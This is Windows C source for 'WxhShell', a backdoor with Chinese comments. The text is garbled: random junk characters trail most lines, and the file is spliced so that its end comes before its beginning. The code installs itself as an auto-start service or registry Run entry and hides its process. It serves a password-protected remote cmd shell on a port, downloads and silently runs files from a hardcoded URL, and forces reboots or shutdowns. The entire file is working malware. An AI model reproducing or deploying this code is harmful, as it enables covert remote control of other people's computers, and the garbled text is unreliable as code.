    if(Boot(SHUTDOWN)) $XMpC{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=Pw yJ  
    else { ,2^A<IwR  
    closesocket(wsh); P,WQN[(+  
    ExitThread(0); <}8G1<QZ'.  
    } S0:Oep   
    break; k&f/f  
    } |#yT]0L%pA  
  // 获取shell CAom4 Sp'  
  case 's': { {TJBB/B1  
    CmdShell(wsh); `D=`xSEYl  
    closesocket(wsh); sN?Rx}  
    ExitThread(0); ?YV#  K  
    break; `T7TWv"M  
  } `l.bU3C  
  // 退出 /0fsn_  
  case 'x': { o&z[d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DS7L}]  
    CloseIt(wsh); e m)%U  
    break; )flm3G2u  
    } \awkt!Wa  
  // 离开 ,`YBTU  
  case 'q': { \QF0(*!!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D Y4!RjJ47  
    closesocket(wsh); Gx}`_[-  
    WSACleanup(); zOFHdd ,"g  
    exit(1); n|DMj[uT  
    break; T9]0/>  
        } x FM^-`7  
  } k4u/v n`&r  
  } qP##C&+#q  
J65:MaS  
  // 提示信息 m8R=wb :  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j)YX=r;xM  
} S-~)|7d.  
  } y^nT G  
BtKor6ba  
  return; Hy,""Py  
} 6Uq;]@k%  
Zz/p'3?#  
// shell模块句柄 *fv BB9raq  
int CmdShell(SOCKET sock) Fo;:GX,b  
{ >#l: ]T  
STARTUPINFO si; S+- $Ih`[  
ZeroMemory(&si,sizeof(si)); =h|cs{eT\2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zby3.=.e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pYr+n9)^  
PROCESS_INFORMATION ProcessInfo; zks7wt]A  
char cmdline[]="cmd"; L Yd:S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oqh J2  
  return 0; xJU]py~o  
} Q^3{L\6_  
S&XlMu  
// 自身启动模式 6\I1J= C  
int StartFromService(void) `^'fS@VA  
{ *jPd=+d  
typedef struct dPf7o   
{ 7[mfI?*m  
  DWORD ExitStatus; 2cIKph  
  DWORD PebBaseAddress; 5k Q@]n:<k  
  DWORD AffinityMask; yqL"YD  
  DWORD BasePriority; kTI5CoXzq  
  ULONG UniqueProcessId; Q 3^h  
  ULONG InheritedFromUniqueProcessId; S^p^) fAmF  
}   PROCESS_BASIC_INFORMATION; TBO g.y]  
r%iFsV_  
PROCNTQSIP NtQueryInformationProcess; Kz/,V6H:  
S^==$TT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N!wuBRWR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _`^AgRE  
d6JW"  
  HANDLE             hProcess; qz3 Z'  
  PROCESS_BASIC_INFORMATION pbi; rWDD$4y  
=jS$piw.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _O'!C!K6  
  if(NULL == hInst ) return 0; { gs$pBu  
f8N* [by  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "M /Cl|z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n=F rv*"Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mlo,F1'?>  
5G(dvM-n  
  if (!NtQueryInformationProcess) return 0; Yo' Y-h#  
p=E#!cn3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P2aFn=f  
  if(!hProcess) return 0; 2Vf242z_  
@n.n[zb\|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i|AWaG)  
p'%S{v@5((  
  CloseHandle(hProcess); -LUZ7,!/>o  
i '*!c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n^hkH1vY  
if(hProcess==NULL) return 0; >1Hv c7DP  
 8 zlvzp  
HMODULE hMod; G7v<Q,s  
char procName[255]; iDl#foXa`  
unsigned long cbNeeded; Yk?q\1  
B&B:P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DQP!e6Of  
W SxoGly  
  CloseHandle(hProcess); Do\j_  
.Tq8Qdl  
if(strstr(procName,"services")) return 1; // 以服务启动 MusUgBQy  
kV T |(Y  
  return 0; // 注册表启动 Sa[lYMuB  
} (Sgsy^|N  
tD}-&"REP  
// 主模块 6B7*|R>  
int StartWxhshell(LPSTR lpCmdLine) `O0Qtq.  
{ c^pQitPv  
  SOCKET wsl; "U eq  
BOOL val=TRUE; 9*K-d'm  
  int port=0; a@|H6:|  
  struct sockaddr_in door;  ,Zb  
A[7H-1-  
  if(wscfg.ws_autoins) Install(); -C~zvP; a  
kp<Au)u  
port=atoi(lpCmdLine); 2YY4 XHQS  
qpCaW0]7  
if(port<=0) port=wscfg.ws_port; EsX(<bx  
\#) YS  
  WSADATA data; =p=/@FN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rXMc0SPk  
z\ONw Ml  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |nnFjGC`~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V V}"zc^  
  door.sin_family = AF_INET; f+s)A(?3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #V]8FW  
  door.sin_port = htons(port); |gu@b~8  
]u$tKC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W'"?5} (  
closesocket(wsl); )uo".n|n~B  
return 1; 3%GsTq2o  
} fiA8W  
Xxd D)I  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Y,&q|K  
closesocket(wsl); o -)[{o\  
return 1; %$Py@g  
} B; NK\5>  
  Wxhshell(wsl); G7+{O7  
  WSACleanup(); z;?jKE p  
=>3,]hnep  
return 0; gzSm=6Qw0  
Q%?%zuU  
} p!=8Pq.  
ftPhE)i  
// 以NT服务方式启动 ^lZ7%6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pKj:)6t"  
{ Z]TQ+9t  
DWORD   status = 0; Y%eW6Y#  
  DWORD   specificError = 0xfffffff; ':_gYA  
>#;;g2UV  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  WTl0}wi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SSE,G!@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a*D<J}xe  
  serviceStatus.dwWin32ExitCode     = 0; U; <{P  
  serviceStatus.dwServiceSpecificExitCode = 0; <D)@;A  
  serviceStatus.dwCheckPoint       = 0; o&@y^<UQ  
  serviceStatus.dwWaitHint       = 0; <bg6k .s  
XP}5i!}}7=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2 YWO'PL  
  if (hServiceStatusHandle==0) return; qM26:kB{  
Pp69|lxV=k  
status = GetLastError(); SnXM`v,  
  if (status!=NO_ERROR) >.od(Fh{l|  
{ 4xalm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W=293mME  
    serviceStatus.dwCheckPoint       = 0; Ax~ i`  
    serviceStatus.dwWaitHint       = 0; 0]'  2i  
    serviceStatus.dwWin32ExitCode     = status; 8$47Y2r@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4]0:zS*O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >d]-X]  
    return; -#/DK   
  } ]:?S}DRG  
$E^sA|KcT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q{uO/6  
  serviceStatus.dwCheckPoint       = 0; -]u>kjiIT  
  serviceStatus.dwWaitHint       = 0; is^R8a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y&8`NS#_p?  
} -@#],s7  
xy!E_CuC$  
// 处理NT服务事件,比如:启动、停止 t5K#nRd Z:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _:tS-Mx@5  
{ |4j6}g\  
switch(fdwControl) 9IG<9uj  
{ (0LA.aBIf  
case SERVICE_CONTROL_STOP: md18q:AG)  
  serviceStatus.dwWin32ExitCode = 0; B= E/|J</  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Y1^ U{A+  
  serviceStatus.dwCheckPoint   = 0; Vb JE zl  
  serviceStatus.dwWaitHint     = 0; { 6qxg_{  
  { :PY8)39@K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ip{ b*@K  
  } XfMUodV-OZ  
  return; <'sm($.2  
case SERVICE_CONTROL_PAUSE: %_p]6doF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !J<0.nO/:  
  break; 4[;}/-  
case SERVICE_CONTROL_CONTINUE: b 1Wz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [] "bn9 +  
  break; T8&sPt,f  
case SERVICE_CONTROL_INTERROGATE: u R5h0Fi  
  break; `}sFT:1&  
}; rZ-< Ryg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1)ij*L8k  
} Hi~)C\  
G^K;+&T  
// 标准应用程序主函数 4K`b?{){+a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bt$,=k  
{ _<c}iZv@  
.:Wp9M  
// 获取操作系统版本 `<<9A\Y-f  
OsIsNt=GetOsVer(); >>C S8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zlQBBm;fE  
"o u{bKe  
  // 从命令行安装 Lp|n)29+du  
  if(strpbrk(lpCmdLine,"iI")) Install(); y,n.(?!*  
xpuTh"ED  
  // 下载执行文件 `#`C.:/n  
if(wscfg.ws_downexe) { ..'"kX:5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eA Fp<2g  
  WinExec(wscfg.ws_filenam,SW_HIDE); x]%,?Vd?  
} Gkfzb>_V]  
\k=%G_W  
if(!OsIsNt) { Oz]$zRu/0  
// 如果时win9x,隐藏进程并且设置为注册表启动 +CSR!  
HideProc(); M($GZ~ b%A  
StartWxhshell(lpCmdLine); v6uRzFw  
} HEa7!h[a'  
else zYdieE\-  
  if(StartFromService()) ,`a8@  
  // 以服务方式启动 Em{;l:;(W  
  StartServiceCtrlDispatcher(DispatchTable); G O G[^T  
else 3bo [34  
  // 普通方式启动 jll|y0  
  StartWxhshell(lpCmdLine); ;KmrBNF  
t*Z5{   
return 0; j%Uoigi  
} c`lL&*]  
/FPO'} 6i  
Wk/Q~ o  
sVmqx^-  
=========================================== *u,&?fCl  
I7Abf7>*Q  
5t_Dt<lIz  
6iEg]FI  
>nvK{6xR:  
JHZjf7g$k  
" Sz1J4$5  
q?]KZ_a  
#include <stdio.h> aAn p7\7  
#include <string.h> MMD=4;X  
#include <windows.h> \xC#Zs[<  
#include <winsock2.h> .Xe_Gp"x  
#include <winsvc.h> 368 g> /#'  
#include <urlmon.h> 7z/O#Fbs  
4:b'VHW.  
#pragma comment (lib, "Ws2_32.lib") @PQd6%@  
#pragma comment (lib, "urlmon.lib") z?|bs?HKS  
_;S~nn  
#define MAX_USER   100 // 最大客户端连接数 .i|nn[H &  
#define BUF_SOCK   200 // sock buffer #(+V&< K  
#define KEY_BUFF   255 // 输入 buffer -*J!Ws(9  
e?O$`lf  
#define REBOOT     0   // 重启 %i?v)EW  
#define SHUTDOWN   1   // 关机 gCVOm-*:  
$cm 9xW&  
#define DEF_PORT   5000 // 监听端口 >/%XP_q%`e  
}rs>B,=*k  
#define REG_LEN     16   // 注册表键长度 RVs=s}|>*  
#define SVC_LEN     80   // NT服务名长度 psz0q|  
\ZE=WvnhZ  
// 从dll定义API >$ro\/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qr6PkHU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZU z7h^3@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C,LosAd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wPcEvGBN=  
7xG~4N<)]  
// wxhshell配置信息 %CgV:.,K  
struct WSCFG { MTNC{:Q  
  int ws_port;         // 监听端口 , \RR@~u'  
  char ws_passstr[REG_LEN]; // 口令 mZM7 4!4X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]TcQGW@'  
  char ws_regname[REG_LEN]; // 注册表键名 [io|qLr}\  
  char ws_svcname[REG_LEN]; // 服务名 @*UV|$~(Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4)'U!jSb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 itc\wn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %S$$*|_G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pNmWBp|ER  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #ZnNJ\6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =WZ@{z9J  
?FR-a Xx  
}; +.|RH  
}*qj,8-9  
// default Wxhshell configuration pDvznpQ  
struct WSCFG wscfg={DEF_PORT, AA=eWg  
    "xuhuanlingzhe", Y"m(hs $  
    1, |~18MW  
    "Wxhshell", AUIp vd  
    "Wxhshell", WNKP';(a@G  
            "WxhShell Service", NN5Ejr,  
    "Wrsky Windows CmdShell Service", kh#fUAt  
    "Please Input Your Password: ", fl2XI=[v4  
  1, ga S}>?qk  
  "http://www.wrsky.com/wxhshell.exe", \W= qqE]  
  "Wxhshell.exe" fWi/mK3c  
    }; V s=o@  
)t\aB_ =  
// 消息定义模块 K" X" 2c1o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M,bs`amz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vEGI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9zIqSjos"  
char *msg_ws_ext="\n\rExit."; )1 HWD]>4  
char *msg_ws_end="\n\rQuit."; WNQ<XB qAw  
char *msg_ws_boot="\n\rReboot..."; kl9~obX 1  
char *msg_ws_poff="\n\rShutdown..."; A&WC})H5  
char *msg_ws_down="\n\rSave to "; `c-omNu  
'ShK7j$  
char *msg_ws_err="\n\rErr!"; \[*q~95$v  
char *msg_ws_ok="\n\rOK!"; /Bh*MH  
Q[|*P ] w  
char ExeFile[MAX_PATH]; H3ovF  
int nUser = 0; $p$p C/:%  
HANDLE handles[MAX_USER]; iJmzVR+  
int OsIsNt; x.] tGS  
jcBZ#|B7;  
SERVICE_STATUS       serviceStatus; #V#!@@c;?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IvI..#EzG  
%:;g|PC  
// 函数声明 K(d+t\ca  
int Install(void); ~<_WYSzS  
int Uninstall(void); -%^'x&e  
int DownloadFile(char *sURL, SOCKET wsh); pv-c>8Wb6  
int Boot(int flag); DL!%Np?`  
void HideProc(void); 2' ^7G@%  
int GetOsVer(void); K,%CE ].  
int Wxhshell(SOCKET wsl); d2-oy5cEB  
void TalkWithClient(void *cs); W}MN-0  
int CmdShell(SOCKET sock); ?A*!rW:l;  
int StartFromService(void); P~iZae  
int StartWxhshell(LPSTR lpCmdLine); ',LC!^:~Nw  
?#z<<FR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ._`rh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &oy')\H  
<yBa5m@/  
// 数据结构和表定义 j:/Z_v'  
SERVICE_TABLE_ENTRY DispatchTable[] = g%!U7CM6h  
{ fBv: TC%  
{wscfg.ws_svcname, NTServiceMain}, d)acWF\  
{NULL, NULL} / !MKijI  
}; &;L=f;   
& 0WQF  
// 自我安装 V'MY+#  
int Install(void) yBIX<P)vE'  
{ N0vECk  
  char svExeFile[MAX_PATH]; 9|v%bO  
  HKEY key; }^p<Y5{b  
  strcpy(svExeFile,ExeFile); oM Z94 , 3  
W\;|mEEu  
// 如果是win9x系统,修改注册表设为自启动 ACZK]~Y'N*  
if(!OsIsNt) { VY+P c/b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yO!M$aOn/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J|%bRLX@>  
  RegCloseKey(key); '\xE56v)F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ot:}Ncq^\O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B.~] 7H5"(  
  RegCloseKey(key); fmc\Li  
  return 0; 5$N#=i`V  
    } )7o? }"I  
  } h,]VWG  
}  [)~1Lu  
else { v}d)uPl} ;  
G'PZ=+!XO/  
// 如果是NT以上系统,安装为系统服务 }*xjO/Ey  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "d0=uHd5\  
if (schSCManager!=0) ?# _{h  
{ pi/0~ke4"  
  SC_HANDLE schService = CreateService C])s'XTs  
  ( IOdxMzF`m  
  schSCManager, C1UU v=|  
  wscfg.ws_svcname, ugE!EEy[^  
  wscfg.ws_svcdisp, 1 ptyiy  
  SERVICE_ALL_ACCESS, [0]A-#J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZILJXX4  
  SERVICE_AUTO_START, "*F`,I3  
  SERVICE_ERROR_NORMAL, y1Z>{SDiq  
  svExeFile, [w|Klq5  
  NULL, _6ck@  
  NULL, c1jR j=\  
  NULL, LCtVM70  
  NULL, _N^w5EBC]  
  NULL -C3[:g  
  ); 6l;2kztGp  
  if (schService!=0) )`R}@(r.  
  { %!(C?k!\  
  CloseServiceHandle(schService); PM#3N2?|E  
  CloseServiceHandle(schSCManager); /WE\0bf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *vuI'EbM  
  strcat(svExeFile,wscfg.ws_svcname); 4"(rZWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dd pcov  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,p#B5Dif/  
  RegCloseKey(key); ,I x>.^|  
  return 0; dM= &?g  
    } s- PS]l@  
  } W0~G`A(:;  
  CloseServiceHandle(schSCManager); %<(d %&~  
} bp=r]nO  
} 4R\jZ@D  
jHn7H)F8  
return 1; !|H,g wqU  
} yV\%K6d|3&  
1Kk6n UIN  
// 自我卸载 Abt<23$h  
int Uninstall(void) 4Yi kC  
{ .O5V;&,  
  HKEY key; Z/ jmi  
?{^_z_,  
if(!OsIsNt) { -mG`* 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p$'S\W|  
  RegDeleteValue(key,wscfg.ws_regname); vJ^~J2#5  
  RegCloseKey(key); 'g,h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^4^N}7>5  
  RegDeleteValue(key,wscfg.ws_regname); :,Y1#_\  
  RegCloseKey(key); ~i>DF`w$  
  return 0; ~o"=4q`>  
  } 8{2  
} o9"?z  
} 3c3;8h$k  
else { 'kcR:5B  
aXJ/"k #Tl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Jb0MX"AVr  
if (schSCManager!=0) NGl 8*Af   
{ 3,{eH6,O7M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ,S=[#  
  if (schService!=0) rD SYR\cg  
  { 9|Jv>Ur=)2  
  if(DeleteService(schService)!=0) { 9 $$uk'}w!  
  CloseServiceHandle(schService); \+O.vRc"M  
  CloseServiceHandle(schSCManager); Z6i~Dy3  
  return 0; PD.$a-t  
  } R2sG'<0B0  
  CloseServiceHandle(schService); [B)!  
  } 5 k3m"*  
  CloseServiceHandle(schSCManager); /u4RZ|&as  
} In96H`  
} ;6[6~L%K}  
8$\j| mN  
return 1; wPjq B{!Q  
} ZxwrlaA  
%N<5ST>(  
// 从指定url下载文件 A%W]XEa<  
int DownloadFile(char *sURL, SOCKET wsh) )PP yJ@M  
{ 8e*skL  
  HRESULT hr; K%\r[NF  
char seps[]= "/"; yT@Aj;X0v  
char *token; h' !C  
char *file; @`4T6eL5  
char myURL[MAX_PATH]; ^ WO3,  
char myFILE[MAX_PATH]; {jB> ]7  
e,e(t7c?d  
strcpy(myURL,sURL); 'QT~o-U  
  token=strtok(myURL,seps); kWZY+jyt P  
  while(token!=NULL) W{"sB:E  
  { ?I[8rzBWU  
    file=token; lTMY|{9  
  token=strtok(NULL,seps); O?Bf (y  
  } v7 *L3Ol  
nXLz<wE  
GetCurrentDirectory(MAX_PATH,myFILE); ?o;ip  
strcat(myFILE, "\\"); Mu[lk=jC  
strcat(myFILE, file); #:gl+  
  send(wsh,myFILE,strlen(myFILE),0); [8sYEh  
send(wsh,"...",3,0); OVi < d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ul_Zn  
  if(hr==S_OK) OlRXgJ  
return 0; 4@{c K|  
else $lf/Mg_H  
return 1; t2(X  
.))j R:{3  
} 3&^hf^yg  
vYm:V:7Y2  
// 系统电源模块 "@eGgQ  
int Boot(int flag) I0 ~'z f  
{ Q /4-7  
  HANDLE hToken; Gg'!(]v  
  TOKEN_PRIVILEGES tkp; .T9$O]:o  
m1pA]}Y/5o  
  if(OsIsNt) { .Q!d[vL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0>BxS9?w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y2_rm   
    tkp.PrivilegeCount = 1; @^UgdD,BS,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IAH"vHM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }S u j=oFp  
if(flag==REBOOT) { 8j#S+=l>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1DB{"8ov  
  return 0; V ,p~,rC  
} DlUKhbo$g  
else { Q`9c/vPU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UXBWCo;-  
  return 0; 1,+<|c)T?  
} #MA6eE'R  
  } sWr;%<K  
  else { paIjXaU1Mb  
if(flag==REBOOT) { `&D#P%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ps,U  
  return 0; hAf/&yA@  
} kFp^?+WI%H  
else { (uvQ/!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }( F:U#  
  return 0; 9Y.(xp &vw  
} @\?ub F  
} hE {";/}J  
QGuqV8 y0  
return 1; "Wg,]$IvU  
} :1*E5pX0n  
$VHIU1JjZ  
// win9x进程隐藏模块 -orRmn6}  
void HideProc(void) %@vF%   
{ F9j@KC(yg  
tC'E#2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BwWSztJ+B  
  if ( hKernel != NULL ) NF8<9  
  { )%@7tx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %JE>Z]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xkDK5&V  
    FreeLibrary(hKernel); \PxT47[@e  
  } i`gM> q&  
<4Gy~?  
return; Nf )YG!  
} v=@y7P1  
r5~ W/eE  
// 获取操作系统版本 GFdbwn5B  
int GetOsVer(void) -fPiHKJ  
{ 3UUdJh<~  
  OSVERSIONINFO winfo; \:J=tAC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !{^kH;*u  
  GetVersionEx(&winfo); IADHe\.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Tu]-.  
  return 1; T<0r,  
  else HQP.7.w7 5  
  return 0; Li6|c*K'  
} =\.*CY|;N  
G*N[tw  
// 客户端句柄模块 `Qo37B2  
int Wxhshell(SOCKET wsl) Mm@G{J\\  
{ ~wDXjn"U&  
  SOCKET wsh; I0zx'x)F  
  struct sockaddr_in client; qqw P4ceG  
  DWORD myID; ,kJ7c;:i  
ar<8wq<4G  
  while(nUser<MAX_USER) CKn2ZL  
{ _dm0*T ?  
  int nSize=sizeof(client); &qS%~h%2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F^gTID  
  if(wsh==INVALID_SOCKET) return 1; BjfVNF;hk:  
I/njyV)H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u"qVT9C$=  
if(handles[nUser]==0) ]Kq<U%x$  
  closesocket(wsh); 9iG&9tB@  
else C}) Dvh  
  nUser++;  c`xNTr01  
  } G"?7 Z&+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *eoH"UFYQ#  
d/9YtG%q  
  return 0; 0]SWyC :  
} ikc1,o  
~QbHp|g  
// 关闭 socket P_5aHeiJ  
void CloseIt(SOCKET wsh) oY^I|FEOz  
{ Yc]V+NxxQ  
closesocket(wsh); K2Abu?  
nUser--; /7D5I\  
ExitThread(0); INr1bAe$  
} teS>t!d  
"/6#Z>y  
// 客户端请求句柄 1k6asz^T  
void TalkWithClient(void *cs) 5Qq/nUR  
{ {C 5:as  
eP]y\S*P  
  SOCKET wsh=(SOCKET)cs; 7.Y;nem:(  
  char pwd[SVC_LEN]; /iO"4%v  
  char cmd[KEY_BUFF]; o5s6$\"  
char chr[1]; vm|u~Yd,s  
int i,j; 8S#$'2sT  
X "7CN Td  
  while (nUser < MAX_USER) { B`-uZ9k   
Sn*s@RE\s  
if(wscfg.ws_passstr) { "?zWCH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zj r($?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eV*QUjS~  
  //ZeroMemory(pwd,KEY_BUFF); rtS cQ  
      i=0; ,<L4tp+y0  
  while(i<SVC_LEN) { r[!~~yu/o  
 )58O9b  
  // 设置超时 O6Py  
  fd_set FdRead; 5&s6(?,Eu  
  struct timeval TimeOut;  9Do75S{(  
  FD_ZERO(&FdRead); p"hO6b%V  
  FD_SET(wsh,&FdRead); 0;TiNrzg  
  TimeOut.tv_sec=8; x4v:67_^  
  TimeOut.tv_usec=0; &)k=ccm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 73X*|g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J-<P~9m~I  
XDCm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7N 0Bj!  
  pwd=chr[0]; Hes!uy  
  if(chr[0]==0xd || chr[0]==0xa) { o>M^&)Xs  
  pwd=0; hhPQ.{]>  
  break; e^eJ!~0  
  } t}R!i-D|HB  
  i++; xH2'PEjFM  
    } r7W.}n*  
R7Qj<,  
  // 如果是非法用户,关闭 socket ~}b0zL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ ojL9.6  
} c(=>5  
&$|~",  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K uwhA-IL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :-d#kU  
legWY)4D;  
while(1) { b~&cYk'  
5Yv*f:  
  ZeroMemory(cmd,KEY_BUFF); D 1.59mHsD  
Nmx\qJUR(  
      // 自动支持客户端 telnet标准   ` 1+*-g^r  
  j=0; 1K3XNHF  
  while(j<KEY_BUFF) { /)TeG]Xg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b<y*:(:  
  cmd[j]=chr[0]; y?UJ <QAi  
  if(chr[0]==0xa || chr[0]==0xd) { TI3xt-/  
  cmd[j]=0; 3q4Zwv0z20  
  break; P-ZvW<M  
  } XcoX8R%U  
  j++; 9!=4}:+  
    } p|->z  
6kp)'wz`  
  // 下载文件 A~Sc ] M  
  if(strstr(cmd,"http://")) { +>C26Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y[L,rc/j  
  if(DownloadFile(cmd,wsh)) |5(un#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+hp#e  
  else %6(\Ki6I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K7 C <}y  
  } I7Kgi3  
  else { 0z \KI?kd  
&5K3AL  
    switch(cmd[0]) { uH$hMg  
